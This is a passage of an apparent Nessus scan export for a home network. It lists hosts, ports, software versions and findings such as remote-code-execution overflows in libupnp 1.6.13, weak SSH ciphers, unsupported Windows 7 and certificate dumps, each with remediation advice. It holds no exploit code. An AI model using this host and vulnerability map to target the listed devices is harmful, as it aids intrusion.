    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		66334						None		192.168.0.20		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Dropbear SSH Server < 2016.72 Multiple Vulnerabilities (93650) ]

+ Action to take : Upgrade to Dropbear SSH version 2016.74 or later.


										None								7/8/13		10/16/20

		69551						Low		192.168.0.20		tcp		443		SSL Certificate Chain Contains RSA Keys Less Than 2048 bits		The X.509 certificate chain used by this service contains certificates
with RSA keys shorter than 2048 bits.		At least one of the X.509 certificates sent by the remote host has a
key that is shorter than 2048 bits. According to industry standards
set by the Certification Authority/Browser (CA/B) Forum, certificates
issued after January 1, 2014 must be at least 2048 bits.

Some browser SSL implementations may reject keys less than 2048 bits
after January 1, 2014. Additionally, some SSL certificate vendors may
revoke certificates less than 2048 bits before January 1, 2014.

Note that Nessus will not flag root certificates with RSA keys less
than 2048 bits if they were issued prior to December 31, 2010, as the
standard considers them exempt.		Replace the certificate in the chain with the RSA key less than 2048
bits in length with a longer key, and reissue any certificates signed
by the old certificate.		https://www.cabforum.org/wp-content/uploads/Baseline_Requirements_V1.pdf		
The following certificates were part of the certificate chain
sent by the remote host, but contain RSA keys that are considered
to be weak :

|-Subject        : C=CN/CN=TP-Link
|-RSA Key Length : 1024 bits
										Low								9/3/13		11/15/18

		70544						None		192.168.0.20		tcp		443		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70657						None		192.168.0.20		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1
  kexguess2@matt.ucc.asn.au

The server supports the following options for server_host_key_algorithms : 

  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for encryption_algorithms_server_to_client : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-md5
  hmac-sha1

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-md5
  hmac-sha1

The server supports the following options for compression_algorithms_client_to_server : 

  none

The server supports the following options for compression_algorithms_server_to_client : 

  none
										None								10/28/13		8/28/17

		70658		CVE-2008-5161		2.6		Low		192.168.0.20		tcp		22		SSH Server CBC Mode Ciphers Enabled		The SSH server is configured to use Cipher Block Chaining.		The SSH server is configured to support Cipher Block Chaining (CBC)
encryption.  This may allow an attacker to recover the plaintext message
from the ciphertext. 

Note that this plugin only checks for the options of the SSH server and
does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable CBC mode
cipher encryption, and enable CTR or GCM cipher mode encryption.				
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
						1.9				Low		32319		CERT:958563;CWE:200				10/28/13		7/30/18

		71049				2.6		Low		192.168.0.20		tcp		22		SSH Weak MAC Algorithms Enabled		The remote SSH server is configured to allow MD5 and 96-bit MAC
algorithms.		The remote SSH server is configured to allow either MD5 or 96-bit MAC
algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server,
and it does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable MD5 and
96-bit MAC algorithms.				
The following client-to-server Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5

The following server-to-client Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
										Low								11/22/13		12/14/16

		64394		CVE-2012-5961		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		86420						None		192.168.0.20		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - D8:47:32:3B:AD:6C
										None								10/16/15		5/13/20

		64394		CVE-2012-5962		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5963		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5964		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5965		10		Critical		192.168.0.29		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.0.82-grsec, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		108797				10		Critical		192.168.0.31		tcp		0		Unsupported Windows OS (remote)		The remote OS or service pack is no longer supported.		The remote version of Microsoft Windows is either missing a service pack
or is no longer supported. As a result, it is likely to contain security
vulnerabilities.		Upgrade to a supported service pack or operating system		https://support.microsoft.com/en-us/lifecycle		
The following Windows version is installed and not supported:

Microsoft Windows 7 Professional
				9.8						Critical				IAVA:0001-A-0501				4/3/18		9/22/20

		110723						None		192.168.0.20		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.20		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10114		CVE-1999-0524		0		None		192.168.0.25		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.25		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.25 : 
192.168.0.35
192.168.0.25

Hop Count: 1
										None								11/27/99		8/20/20

		10863						None		192.168.0.25		tcp		8009		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Common Name: 02396355-86f2-724c-b621-a89625b919e3

Issuer Name: 

Common Name: 02396355-86f2-724c-b621-a89625b919e3

Serial Number: 0D 12 4D 32 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Nov 04 16:40:10 2020 GMT
Not Valid After: Nov 06 16:40:10 2020 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 BA 7E 67 7A F2 B6 BD 2C 9A DC E1 27 AE 6A 37 BA FC 89 9A 
            87 EE 73 66 1E 26 81 EB 44 CA 17 8E 12 54 A4 50 49 08 FB E6 
            2F 1B 45 55 27 28 76 BD D6 B6 21 94 30 83 3E D8 18 C8 87 F9 
            39 4F 14 32 07 41 B4 4A 12 7E 51 3F 2B B2 65 8C EC BA 05 50 
            15 53 C1 69 47 52 72 C6 77 A2 8A C4 0A FC 67 00 D3 76 AC 8A 
            8B 5A 64 91 14 65 13 9D E2 2D DB 48 5F 91 55 FE 38 1B 51 8B 
            6D 8A A8 0C 08 20 BB 7E 18 30 86 D0 7B CC D0 5E 3C E7 A8 CB 
            28 86 5D 2D 30 C8 A6 EE B4 E0 F4 5F E5 E4 6A BB 8A 0B B3 EE 
            32 EC 87 FD AB 92 63 5D 67 27 6D 34 7A 2B AD 45 06 96 EC 6C 
            A6 43 18 1F 7C 74 52 D9 54 98 B5 D3 54 20 ED 32 E1 D3 92 3E 
            3A 16 E5 7A 7D 30 10 D1 0F D4 7B 19 D1 65 39 64 DB DF A4 3B 
            BA 42 91 16 4E 2C D2 0C C2 B3 F3 38 B9 B5 76 9E CA B4 6F 54 
            DB 85 90 1D 86 8F ED AD 64 AD 8B DA 77 8F C8 BB 57 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 53 9A 58 9C 9E 72 7C 84 60 E6 2C 57 87 C4 07 1F 42 99 F3 
           D2 36 1E 87 1A 03 4B 5B 2A 42 06 BF 7A 0F 40 DC 74 B3 54 4E 
           3B 59 CC 6D 28 BB A3 E1 E5 72 1D 35 3F 4B B7 97 CC 4B 4D 2B 
           9A 18 4E 64 88 BB DE 7F B9 89 32 46 AE 48 0C B4 3F 6B 06 11 
           22 A6 CC 17 2C 80 E1 29 04 0F D1 02 42 17 FB 66 45 AA 47 04 
           07 F0 7B F6 DF EF 59 B5 56 B8 01 1C 9C 57 3F C4 FA 85 AB FC 
           C5 A7 B6 4C 59 91 C1 EB 4C 4B 19 05 28 C1 F3 65 9C B1 58 0E 
           B8 5E A9 2A 25 D2 52 30 36 3A 04 45 B3 EB 91 9F 89 00 C6 8B 
           9A 33 2D 7C 97 B7 AF BA CD 63 F5 A0 6B 53 47 EB 3F 81 A9 D7 
           84 AC BE E7 F7 E0 D8 34 35 09 AF 87 67 2C DA 16 13 6D 05 32 
           32 5A E3 8E 7E 36 B8 5A 02 C7 62 CC D7 B7 BF 2F 83 31 36 20 
           F6 13 13 01 B0 5A 9E DD 92 76 58 F8 49 2D 9B 0E C9 0C 79 E7 
           94 EF 37 69 F7 C8 B0 AB 54 72 C2 74 DE 6C 70 8A 39 

Fingerprints : 

SHA-256 Fingerprint: DC 9B B9 C1 E3 5D BA 7D 39 43 28 13 32 61 B9 A0 DE 94 87 B0 
                     C7 75 3D 8D 84 DA B7 EA 49 04 23 81 
SHA-1 Fingerprint: FD 3E 0C 9B A7 36 68 06 FC 68 F7 A4 6D EA 9E D8 8E 5E 39 3F 
MD5 Fingerprint: 4F 8E 5C C5 34 D1 8F 44 D4 C9 46 BE 56 BF 2E 14 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		10863						None		192.168.0.25		tcp		8443		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: US
State/Province: California
Locality: Mountain View
Organization: Google Inc
Organization Unit: Cast
Common Name: AD49ZTW FA8FCA646C20

Issuer Name: 

Country: US
State/Province: California
Locality: Mountain View
Organization: Google Inc
Organization Unit: Cast
Common Name: Chromecast ICA 12

Serial Number: 41 44 34 39 5A 54 57 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Aug 29 04:35:09 2018 GMT
Not Valid After: Aug 24 04:35:09 2038 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 84 D2 5A B5 EA 0C 02 07 8E 4C CF 43 51 1A DE 02 15 56 65 
            CD 45 4E B5 0A 65 8C 5F 7C 0C 5C DB 50 1B 5B 70 BF A0 9B 21 
            5C 0B E4 02 46 FC 15 E3 E6 DB FF FB FD 00 B9 56 0D 17 A2 8B 
            9E B4 BA 6B 13 8B C4 8E 67 8F D0 53 F9 EE 17 77 64 1E 4E 79 
            E2 D7 84 AA 3C 3A 21 7F A8 24 6E E2 82 85 C8 CF D7 6B 0C 0A 
            42 38 0D 0A 59 4C A2 DB 14 23 F7 0E 7E C2 68 09 A9 DA E7 90 
            82 BB BC 2E C8 51 9C 99 D0 AB 70 27 E9 15 23 21 07 69 23 E7 
            4E 6E 37 9B BC 9C 53 15 D9 C4 5F E3 2B DF 90 6F EF 79 C2 02 
            9E 5C 9E F2 ED 18 0D C3 A3 C7 4B 01 BD 7B A3 E5 A6 01 D1 E9 
            68 68 F5 CA 40 19 31 C2 FF 1D 05 76 FD 09 20 03 25 C9 FB 9F 
            A1 BD 44 15 B7 3A 53 7B AD 3B 9B 12 28 56 CF 51 F5 D9 41 1E 
            2F B8 21 2C EB 97 2A A6 E7 67 CF B2 79 B3 25 6C 43 D6 B8 40 
            D1 52 40 21 A8 76 C5 FD 63 50 F3 42 3C F7 BA A9 33 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 9A EA F6 67 87 F3 1D 67 94 D3 AA 5F 83 ED EF E4 3B C7 E9 
           49 FE EA A2 41 D2 3D E3 C0 8C D2 D1 73 60 32 55 67 22 9B 2E 
           26 58 3F 64 55 33 86 EC 9E EE 70 8F CB 75 87 52 FA B8 F1 A4 
           2F 8E 0A E6 28 09 C6 9D 7B 44 0F FE 71 6D D1 F5 E9 B6 BE 57 
           BA 78 3E A2 7D 00 0E C3 3C 49 1D 4D 59 13 AE A4 B7 B8 C6 C9 
           E9 1B 2B FE 03 85 44 B2 1D CD 98 66 5C 3B C8 DF E0 00 31 D4 
           79 54 30 BC BB D8 75 65 A9 8F 07 DD 64 3E 26 86 B9 80 CC FF 
           98 32 73 4E 64 E7 C9 F2 4A 8A 35 B8 D3 4F C3 2D C3 57 C5 74 
           B6 32 5B C8 53 AC 0A 04 38 DC 8C 20 03 96 B0 8F 88 14 E4 A8 
           71 1E 02 A2 ED 11 6B A4 72 76 BB E8 6C BA 63 3C AD 44 7D 7C 
           9C 4D D5 9E D2 E5 BB A3 82 87 CC 49 DC 1F 3A A4 0A B0 78 B1 
           66 7A 5F 65 42 05 27 0A 4F 34 64 6D 50 BC 91 8C 78 09 63 24 
           E3 96 61 30 E3 A1 52 65 16 E6 28 4C 6A 3B 82 52 C0 

Extension: Basic Constraints (2.5.29.19)
Critical: 0


Extension: Key Usage (2.5.29.15)
Critical: 0
Key Usage: Digital Signature


Extension: Extended Key Usage (2.5.29.37)
Critical: 0
Purpose#1: Web Client Authentication (1.3.6.1.5.5.7.3.2)


Fingerprints : 

SHA-256 Fingerprint: 9F E1 62 18 9D CD 3F 66 05 2D 40 61 1B 95 83 61 12 04 09 CC 
                     52 D6 EF 65 59 37 E8 F7 52 18 43 E9 
SHA-1 Fingerprint: AC 22 B2 37 39 14 70 64 B5 96 98 9A E2 E2 DA 2E 53 E5 81 17 
MD5 Fingerprint: 59 8F FA 78 64 B4 E0 2A 90 2B 37 2C A6 3E F0 10 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11154						None		192.168.0.25		tcp		9000		Unknown Service Detection: Banner Retrieval		There is an unknown service running on the remote host.		Nessus was unable to identify a service on the remote host even though
it returned a banner of some type.		n/a				
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port   : 9000
  Type   : help
  Banner : 
0x00:  15 03 01 00 02 02 46                               ......F         
           
										None								11/18/02		7/24/18

